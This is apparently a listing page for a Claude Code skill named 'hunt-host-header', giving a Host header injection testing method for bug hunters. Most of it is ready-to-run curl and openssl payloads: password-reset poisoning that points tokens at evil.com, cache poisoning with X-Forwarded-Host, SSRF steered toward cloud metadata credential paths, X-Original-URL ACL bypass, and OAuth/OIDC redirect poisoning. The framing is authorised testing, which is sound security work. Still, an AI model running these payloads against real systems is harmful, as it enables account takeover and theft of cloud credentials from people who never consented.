关于 hunt-host-header
面向安全测试人员的 Host Header 注入测试技能,涵盖密码重置投毒、缓存投毒、SSRF 与 OAuth/OIDC 等路径。强调区分漏洞机制并通过实际回显、缓存行为或带外回调验证结果。
主要功能
- 01密码重置链接投毒测试
- 02Host 相关缓存投毒验证
- 03基于 Host 的 SSRF 检查
- 04路径覆盖与 ACL 绕过测试
- 05OAuth/OIDC 主机投毒检查
- 06误报排除与证据验证
适用场景
- 01检查重置邮件是否使用受控 Host
- 02验证共享缓存是否返回投毒内容
- 03测试反向代理是否按 Host 路由
- 04核实 OAuth 流程是否泄露授权码
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-host-header安装后在 Claude Code 中输入/hunt-host-header确认已加载。
详细介绍
HUNT-HOST-HEADER — Host 头注入
原理与来源
此技能基于公开的 Host 头攻击文献,不是凭空编造的攻击载荷。 在报告中引用技术来源,切勿捏造 ID:
- 密码重置投毒类别 — 经典文章是 Skelet/Detectify 时期的
《Practical HTTP Host header attacks》(Django
request.get_host()→ 密码重置链接 案例)。许多框架会根据请求 Host 构建重置 URL,且没有类似ALLOWED_HOSTS的允许列表。引用你实际观察到的框架及 Host 反射行为。 - 通过未纳入缓存键的 Host / X-Forwarded-Host 实施 Web 缓存投毒 — PortSwigger Research、 James Kettle 的《Practical Web Cache Poisoning》(2018 年)和《Web Cache Entanglement》(2020 年)。 这两篇文章定义了未纳入缓存键的输入投毒机制,也是 X-Forwarded-Host 投毒背后的原理。
- 基于路由的 SSRF — PortSwigger Research 的《Cracking the lens》/基于路由的 SSRF (Host 头控制前端选择上游服务)。
撰写报告时,说明你复现的确切行为(反射的头部、使用新键时的缓存 HIT、来自 Collaborator 的带外命中)。不要照搬未经核实的 CVE 或 H1 ID — 漏掉引用也比引用错误内容好。
核心目标
Host 头注入若能影响密码重置链接,即为严重问题(可接管任何用户的账户)。
价值最高的攻击链:
- 密码重置投毒 → ATO — 服务器根据请求 Host 构建重置链接;
攻击者设置
Host: evil.com;受害者收到的重置邮件会将令牌指向攻击者 → 受害者点击后令牌被捕获 → 完全接管账户。预先账户接管变体:即使受害者仅请求 重置自己的密码,令牌也会泄露给 evil.com。 - 通过未纳入缓存键的 Host 实施 Web 缓存投毒 — CDN/反向代理将反射攻击者提供的
X-Forwarded-Host的响应缓存为绝对 URL(脚本 src、链接、重定向)→ 毒化的 缓存条目会通过该缓存键提供给后续所有访客 → 大规模 XSS/重定向/CSP 绕过。 - 基于路由的 SSRF — 前端直接使用Host 头选择上游服务;
Host: 169.254.169.254(或内部主机名)会使其将请求转发到该目标 → 云元数据/内部管理面板。 - 路径覆盖型 SSRF/ACL 绕过 — IIS/ASP.NET/Spring 支持
X-Original-URL/X-Rewrite-URL覆盖路由路径 → 访问/admin或边缘 ACL 认为已拦截的内部端点。 (与基于路由的 SSRF 属于不同层 — 参见阶段 3。) - OAuth/OIDC 投毒 — Host 控制
redirect_uri或 OIDC 的issuer/发现文档 → 认证码或令牌被盗 → ATO。
攻击面信号
Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)
危险的头部候选项(未纳入缓存键/受信任的输入):
Host X-Forwarded-Host X-Host
X-Forwarded-Server X-HTTP-Host-Override Forwarded
X-Original-URL X-Rewrite-URL X-Override-URL (path-override class)
分步测试方法
始终使用你自己注册的测试账户进行测试。切勿请求重置其他用户的密码。
阶段 1 — 密码重置投毒
# 1a. Override Host directly
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]"}'
# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" \
-H "X-Forwarded-Host: evil.com" \
-d "[email protected]"
# 1c. Host + X-Forwarded-Host combo, and X-Host
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" -H "X-Host: evil.com" \
-d "[email protected]"
# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\[email protected]' "$TARGET" \
| openssl s_client -quiet -connect $TARGET:443 2>/dev/null
# 1e. Absolute-URL injection: keep real Host, append attacker host so the
# reset link becomes https://TARGET.evil.com/... or routes the token out
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET.evil.com" -d "[email protected]"
# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET:[email protected]" -d "[email protected]"
**确认:**在你自己的测试收件箱中打开重置邮件,检查链接的主机。令牌必须出现在攻击者控制的主机(evil.com、$TARGET.evil.com 或 Collaborator 域名)下,才能构成真实发现。将 Burp Collaborator 域名用作注入的主机,这样受害者点击链接(或预览抓取器获取链接)时,你就能在带外捕获令牌并取得证据 — 参见验证。
阶段 2 — 通过 Host / X-Forwarded-Host 进行 Web 缓存投毒
机制:这是一个反射漏洞,不是 OOB 漏洞。注入的主机必须反射到响应正文中(绝对 URL、脚本 src、<link href>、<base href>、重定向 Location 或 canonical/og:url),并且该响应必须缓存在一个你无法控制的缓存键上。缓存测试本身不会触发 Collaborator 回调——只有之后受害者的浏览器加载被投毒的绝对 URL 时才会触发。
# 2a. Is the host reflected into the body?
curl -s https://$TARGET/ \
-H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
| grep -i "canary"
# 2b. Is the response cacheable, and what is the cache key?
curl -sI "https://$TARGET/?cb=$RANDOM" \
| grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
# Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
# Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.
# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null # poison
curl -s "$URL" | grep -i "evilcdn.example" # clean victim view → reflected = POISONED
排除误报(必做):
- 如果反射内容只会出现在你自己的请求中(因为该请求头被纳入缓存键,例如出现在
Vary中,或 CDN 将 Host 纳入缓存键),这就不是投毒——确认 2c 在请求中不带该请求头时仍会返回载荷。 - 每次都是
Age: 0+MISS→ 没有共享缓存 → 没有大规模影响。降级为仅影响自身 / 低危。 - 声称“大规模”前,先通过另一台机器 / 全新的出口 IP / 无痕模式确认影响范围。缓存范围通常因边缘节点 / Cookie / 地理区域而异。
阶段 3 — 通过 Host Header 进行 SSRF — 两种不同机制(不要混为一谈)
它们作用于不同层。请分别测试;它们不会组合到同一个请求中。
(3A) 基于路由的 SSRF — Host 请求头选择上游。 路径放在请求行中,与普通请求完全一样,因为元数据服务 / 内部主机提供普通 HTTP 服务,且只会看到你转发的请求行和请求头。X-Original-URL 在此处无关——EC2 IMDS 会忽略它。
# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
curl -s "https://$TARGET/latest/meta-data/" -H "Host: 169.254.169.254"
curl -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: 169.254.169.254"
# GCP / Azure equivalents (still routing via Host):
curl -s "https://$TARGET/computeMetadata/v1/" \
-H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
curl -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
-H "Host: 169.254.169.254" -H "Metadata: true"
# Internal hostname / port routing:
curl -s "https://$TARGET/" -H "Host: localhost:6379" # Redis behind the proxy
curl -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"
# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the
# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
curl -s "https://$TARGET/" -H "Host: $COLLAB"
(3B) 路径覆盖型 SSRF / ACL 绕过 — X-Original-URL / X-Rewrite-URL。 这是 IIS/ASP.NET/Spring-Cloud-Gateway 的一项功能,应用会覆盖路由路径。实际 Host 保持不变;你绕过的是边缘路径 ACL,而不是将流量导向上游。保留实际 Host。
# Reach an internal/blocked path the edge thought it denied. Real Host stays.
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"
# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.
旧探测
Host: 169.254.169.254+X-Original-URL: /latest/meta-data/是错误的:这两个请求头作用于不同层,永远不会组合生效。获取元数据请使用 3A,绕过 ACL 请使用 3B。
阶段 4 — OAuth / OIDC / SAML 投毒
# Does the authorization endpoint build redirect_uri / display URL from Host?
curl -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \
-H "Host: evil.com" | grep -iE "redirect|location|action="
# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.
curl -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
| grep -iE "issuer|authorization_endpoint|token_endpoint|jwks_uri"
**确认:**授权码 / 令牌必须实际发送到攻击者主机(在 Collaborator 上捕获)——仅反射字符串并不能证明 ATO。
阶段 5 — 请求头模糊测试(Param Miner)
Burp Param Miner → Guess headers 更快,也能发现下方列表未涵盖的未纳入缓存键 / 会影响缓存的请求头。手动扫描:
HOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \
Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)
for H in "${HOST_HEADERS[@]}"; do
echo "=== $H ==="
curl -s -I "https://$TARGET/" -H "$H: canary-$RANDOM.example" \
| grep -iE "location|x-cache|cf-cache|age|set-cookie"
done
漏洞链表
| 发现 | 漏洞链至 | 影响 |
|---|---|---|
| 重置链接的主机 = 攻击者(自有测试账号) | 注入 Collaborator 主机 → 点击时捕获令牌 | 严重 — 接管任意用户账号 |
| X-Forwarded-Host 反射到绝对 URL 中 + 可缓存且未纳入缓存键 | 投毒缓存键 → 未带载荷的请求返回载荷 → 加载 XSS/重定向 | 高危 — 大规模缓存投毒 |
| 前端根据 Host 进行路由 | Host: 169.254.169.254,路径放在请求行中 → 凭据 | 高危/严重 — SSRF → 云凭据 |
X-Original-URL 覆盖路径 | 访问在边缘被拦截的 /admin | 高危 — ACL 绕过 / SSRF |
| OAuth redirect_uri/issuer 根据 Host 构建 | 重新指向授权流程 → 在 Collaborator 上捕获授权码 / 令牌 | 严重 — 通过窃取授权码接管账号 |
验证(团队规范)
✅ 密码重置: 你自己的测试账户收到的邮件中的令牌 URL 使用了攻击者控制的主机。最有力的证据 = 注入一个 Collaborator 主机,并证明点击/预览链接时,收到携带令牌的入站 HTTP 请求(带外捕获)。
✅ 缓存投毒: 一个未包含注入标头的请求(使用新的出口 IP / 无痕模式)仍会返回攻击者的载荷 → 证实共享缓存投毒。如果按 Vary 键区分,或仅出现 MISS/Age:0,则将严重性降为低。
✅ 路由 SSRF: 收到来自 169.254.169.254 / 内部主机的真实响应正文,或前端向你的 Collaborator 发出了带外 DNS/HTTP 请求(盲 SSRF 情况)。
✅ 路径覆盖: 与被边缘拦截的直接请求相比,状态码/正文存在差异,证明覆盖生效。
✅ OAuth/OIDC: 授权码 / 令牌确实已发送到攻击者主机(已捕获),而不只是被反射。
始终排除误报:
- 反射 ≠ 缓存。仅对你缓存 ≠ 对其他人缓存(检查
Vary、第二个 IP)。 - 回显你的 Host 字符串的 200 响应不算 SSRF,除非响应内容来自内部目标,或你的 Collaborator 收到了请求。
- 有些邮件系统无论 Host 是什么,都会将链接重写为固定的
SITE_URL—— HTTP 响应中反射的标头并不能证明邮件已被投毒;请核实邮件正文。
严重性:
- 重置 → 影响任意用户的 ATO:严重
- 路由 SSRF → 云元数据凭据:严重(凭据可用时)/ 高
- 缓存投毒 → 大规模 XSS/重定向(已证实共享缓存键):高
- 路径覆盖 → 可访问内部/管理端:高
- 仅反射、不可缓存、不在邮件中、无法访问内部资源:低 / 信息性